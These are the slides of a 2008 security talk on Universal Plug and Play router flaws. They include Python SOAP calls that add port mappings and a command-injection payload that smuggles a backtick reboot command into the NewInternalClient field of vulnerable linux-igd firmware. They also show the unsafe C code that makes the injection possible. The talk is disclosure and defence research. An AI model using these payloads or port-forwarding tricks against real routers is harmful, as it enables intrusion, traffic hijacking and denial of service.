Universal Plug and Play - Dead simple or simply deadly?

Armijn Hemel

February 24, 2008

About me

Professional:

- 1996-2006: computer science at Utrecht University
- 2004-2006: MSc thesis: NixOS
- 2000-present: author Linux Magazine NL, Linux Magazine UK, NetOpus, ...
- 2005-present: `gpl-violations.org`
- 2006-present: board member of NLUUG (`http://www.nluug.nl/`)
- 2006-present: Chief Random Projects at Loohuis Consulting

A word from our sponsors: Loohuis Consulting

- specialized hosting
- web development (AJAX and other buzzwords)
- GPL license compliance
- UPnP security
- router/embedded security advice

More info: `http://www.loohuis-consulting.nl/`

A word from our sponsors: NLUUG

- May 15, 2008: NLUUG spring conference about security.
- Fall 2008: conference about mobile devices

More info: `http://www.nluug.nl/`

Today's topics and goals

- UPnP history
- UPnP protocol stack
- debunk common misconceptions about UPnP
- show errors in UPnP design
- show errors in UPnP implementations
- cause of errors

Warning: Most research was done in late 2005/early 2006. Two years later very little has changed.

Old hacks still work, new bugs surface.

More info: `http://www.upnp-hacks.org/`

Universal Plug and Play - introduction

Bring the desktop “plug and play” concept (Windows 98/Windows ME) to the (local) network.

Benefits:

- no configuration on the part of the user
- no installation of software, drivers, etcetera

UPnP is not unique:

- JINI (Sun Microsystems)
- IETF ZeroConf (Apple “Bonjour”, KDE, GNOME)

History of UPnP

- early 1999 as reaction by Microsoft to Sun's JINI
- early 2000: first products with UPnP (Windows ME, Intel's Open Source UPnP SDK)
- Windows ME and Windows XP have UPnP support built-in since their release
- September 2007: ISO standard

UPnP organizations:

- UPnP Forum: create and publish new UPnP standards.
- UPnP Implementers Corporation: UPnP certification and logo licensing.

UPnP protocol stack

0. addressing
1. discovery
2. description
3. control
4. eventing
5. presentation

UPnP protocol - addressing

Zeroth, optional, step. If no DHCP server is found use "auto-addressing":

1. randomly pick an IP address from `169.254/16` IP range
2. if IP address is taken, abandon IP address and goto 1
3. else keep IP address

More auto-addressing:

- RFC 3927
- IETF ZeroConf
- Fedora (has a default route for `169.254/16`)

UPnP protocol - discovery

First step: discover devices on the network

On boot-up send a HTTP header to UDP port 1900 on 239.255.255.250 (this is called HTTP-U):

```
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: ssdp:discover
MX: 10
ST: ssdp:all
```

Other UPnP devices should reply via UDP unicast:

```
HTTP/1.1 200 OK
CACHE-CONTROL:max-age=1800
EXT:
LOCATION:http://10.0.0.138:80/IGD.xml
SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961)
ST:upnp:rootdevice
USN:uuid:UPnP-SpeedTouch510-1_00::upnp:rootdevice
```

UPnP protocol - discovery (continued)

Periodically send notifications to 239.255.255.250 on port 1900 UDP:

```
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=180
Location: http://192.168.1.1:5431/dyndev/uuid:0014-bf09
NT: upnp:rootdevice
NTS: ssdp:alive
SERVER:LINUX/2.4 UPnP/1.0 BRCM400/1.0
USN: uuid:0014-bf09::upnp:rootdevice
```

UPnP protocol - description

Second step: find out what devices can do

`LOCATION` points to XML:

```
Location: http://192.168.1.1:5431/dyndev/uuid:0014-bf09
```

This file describes (per "profile"):

- control URL
- events URL
- SCPD URL (description of which functions are available, in XML)

```
<service>
<serviceType>urn:schemas-upnp-org:service:
    WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConnection</serviceId>
<controlURL>/ipc</controlURL>
<eventSubURL>/ipc</eventSubURL>
<SCPDURL>/ipc.xml</SCPDURL>
</service>
```

UPnP protocol - control

Third step: controlling a device

Devices can be controlled by sending SOAP requests to the “control URL”.

There is no authentication/authorization in UPnP, being on the LAN is enough to do this.

No administrative privileges needed: any user can do this.

UPnP protocol - eventing

Fourth step: keeping devices informed

Changes in “state variables” are sent over the network to subscribed clients.

Clients can subscribe to events, if they provide one or more callback URLs.

UPnP protocol - presentation

Fifth step: human interface

Presentation is the human controllable interface: the webinterface of the device.

UPnP profiles

UPnP defines profiles: a set of actions, state variables, etcetera, that implement specific functionality.

Standardized profiles:

- Internet Gateway Device (IGD)
- MediaServer and MediaRenderer (A/V)
- HVAC
- and more

Most popular: Internet Gateway Device and (recently) MediaServer and MediaRenderer.

For many people IGD is UPnP. This is not true.

Internet Gateway Device profile

- WAN connection or ADSL modem (ADSL modems and (wireless) routers)
- firewall + Network Address Translation
- DNS server, DHCP server

(Some) subprofiles:

- WANIPConnection & WANPPPConnection
- LANHostConfigManagement
- Layer3Forwarding
- WANCableLinkConfig
- WANCommonInterfaceConfig
- ...

Today's focus: WANIPConnection/WANPPPConnection

Hacking the Internet Gateway Device

The Internet Gateway Device (IGD) is an interesting target:

- It controls access to and from a LAN. Control the IGD and you control the connection to the outside world.
- There are millions of routers that implement the UPnP IGD.

Port forwarding

The Internet Gateway Device profile allows port forwarding (via `WANIPConnection` or `WANPPPConnection` subprofiles).

Network Address Translation (NAT) does not easily work with predefined ports.

Workaround: programs dynamically agree on ports. Firewalls need to be dynamically adapted for this to work.

- MSN/Windows Live Messenger ("webcam", file transfers)
- remote assistance (Windows XP)
- X-Box
- many bittorrent clients

`WANIPConnection` and `WANPPPConnection` subprofiles

`WANIPConnection` and `WANPPPConnection` subprofiles control portmapping actions:

- add a portmapping
- delete a portmapping
- query existing portmappings

Typical scenarios:

1. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on our machine
2. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on multicast or broadcast address

Port forwarding – SOAP action

`AddPortMapping` SOAP function takes a few arguments:

- `NewRemoteHost` - source of inbound packets, usually empty (i.e. all hosts)
- `NewExternalPort` - port on the external interface of the router
- `NewProtocol` - TCP or UDP
- `NewInternalPort` - port on `NewInternalClient`
- `NewInternalClient` - LAN device, multicast or broadcast address
- `NewEnabled` - True or False
- `NewPortMappingDescription` - string describing the portmapping
- `NewLeaseDuration` - duration of portmapping

Example code

```
#! /usr/bin/python

import os
from SOAPpy import *

endpoint = "http://10.0.0.138/upnp/control/wanpppcpppoa"
namespace = "urn:schemas-upnp-org:service:WANPPPConnection:1"
server = SOAPProxy(endpoint, namespace)
soapaction2 = "urn:schemas-upnp-org:service:WANPPPConnection
                :1#AddPortMapping"

server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
           NewExternalPort=5667, NewProtocol="TCP",
           NewInternalPort=22, NewInternalClient="10.0.0.152",
           NewEnabled=1,
           NewPortMappingDescription="SSH forward",
           NewLeaseDuration=0)
```

Port forwarding – protocol dumbness

According to the specifications `NewInternalClient` can be set to another internal machine.

Open connections to other machines on the LAN:

- Windows file server
- internal webserver
- printer
- ...

Discussions I had with UPnP developers seem to indicate this is intended behaviour.

Port forwarding – implementation errors

Some implementations accept non local machines as `NewInternalClient`. Connections to `NewExternalPort` (IGD external interface) are forwarded to `NewInternalClient` *even if it is not on the LAN*.

- involuntary onion routing (many devices don't log by default)
- reroute traffic: stealing mail, website defacement without actually hacking the target web server, phishing (depending on network setup)
- ...

Vulnerable devices

- many Linux based devices with Broadcom chip and Broadcom UPnP stack
- Linux IGD based devices (primarily Edimax + clones)
- new devices which are coming to your neighbourhood soon

US Robotics already fixed the Broadcom sources for their devices in March 2005 but fixes never made it back into the original sources.

No Free Software ;-)

Code problems

The problem is proper parameter checking.

Input from SOAP request is often passed to an external command unchecked.

Risk: possibly execute commands *on the router* with *full system privileges* this way.

linux-igd hack

Many devices use old code from the Linux IGD project (code slightly adapted for readability):

```
int pmlist_AddPortMapping (char *protocol, char *externalPort,
                           char *internalClient,
                           char *internalPort) {
    char command[500];
    sprintf(command, "%s -t nat -A %s -i %s -p %s -m mport
          --dport %s -j DNAT --to %s:%s", g_iptables,
          g_preroutingChainName, g_extInterfaceName, protocol,
          externalPort, internalClient, internalPort);
    system (command);
    ...
    }
...
```

There are checks, but these still leave room for 13 bytes of exploit code.

linux-igd hack – continued

The following Python code sends a SOAP packet which lets the router (Edimax BR-6104K, with old firmware) *reboot* remotely:

```
server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
    NewExternalPort=21, NewProtocol="TCP", NewInternalPort=21,
    NewInternalClient="`/sbin/reboot`", NewEnabled=1,
    NewPortMappingDescription="blah", NewLeaseDuration=0)
```

And that is just rebooting the device...

New versions fix these bugs, so upgrade!

Risks and impact

Reaction from vendors/"security experts" after my research in 2006:

> *The attacks are not remote, but originate from the LAN, which make it difficult to exploit.*

Not true!

- virus, spyware, P2P software operate from within LAN and often send random data
- plenty of open access points (war driving)
- abuse errors in Flash plugin (shown in January 2008)

Some device (Realtek 865x based) accept UPnP packets on the WAN interface!

Risks and impact

The Human Factor:

- people want to use UPnP
- people don't know how to turn it off, or can't turn it off (Speedtouch 510 has no option in webinterface).
- people don't upgrade router firmware with fixes (do you??)
- vendors stop supporting devices after a certain period, if they have support at all! (Especially companies that just rebrand and sell devices)

Risks and impact

Result of all this:

- millions of vulnerable UPnP capable routers have been sold and are in use
- infected computer is relatively easy to detect, reconfigured router is a lot harder to find.

There are many consumer grade ADSL/cable lines with vulnerable routers and a lot of bandwidth to waste. Ouch!

Can you stand a DDoS from 10 million 384 kbps connections?

Risks and impact

Research was published on May 18 2006 (SANE 2006 conference in Delft, the Netherlands).

Apart from some media attention things fizzled out really quick.

In January 2008 UPnP hacking code was combined with a Flash bug: local attack became a (limited) remote attack.

How did this happen?

To blame: the ODM development model

- time to market
- features (security is not a feature)
- really really really tight profit margins

Commercial lifetime of many devices is 2 years, with most profit in the first 3 months.

- proper checking adds to costs (customers "vote with their wallets")
- proper checking delays availability in shops
- "security" is a claim, not a visible feature
- fixes are done ad hoc

More UPnP hacks/Future work

- embed this code into security/scanning tools
- hack UPnP A/V profile
- attack the UPnP SOAP stack

Help is more than welcome.

Hacking the UPnP A/V profile

UPnP A/V profile is getting used more and more:

- Philips Streamium (some models)
- X-Box 360 (limited use)
- Noxon Audio
- Netgear MP115
- many more

Uncharted hacking territory!

Hacking the UPnP A/V profile

Two basic types of devices:

1. `MediaServer`
2. `MediaRenderer`

`MediaServer` streams content, `MediaRenderer` plays content (audio or video). Specifications say both types of devices can be controlled by an *external* control point.

Hacking the UPnP A/V profile

Possible hacks:

- "steal" content (DRM protected that was paid for?) from a `MediaServer` by sending it off the LAN.
- play content from outside the LAN on a `MediaRenderer` without the user's consent (audio and video spamming).

I have not worked on these hacks yet:

- no time (yet)
- not many devices to test with

Devices welcome! :-)

Attacking the UPnP SOAP stacks

A few stacks are used:

- Intel UPnP SDK/libupnp
- custom stacks

Some do just string comparisons instead of implementing a proper XML parser!

Hacking opportunities:

- send bad XML and make the parser and/or the router crash
- send weird XML with commands embedded that are executed by the XML parser

I would like to make this a research project for a MSc student or do this myself during holidays. Funding might be needed to pay for some routers (hello Google?).

The end?

Will all be OK when UPnP has been fixed?

Nah. Enough other attack vectors on routers:

- embedded web interface
- DNS (some stacks barf when you ask for AAAA records)
- ...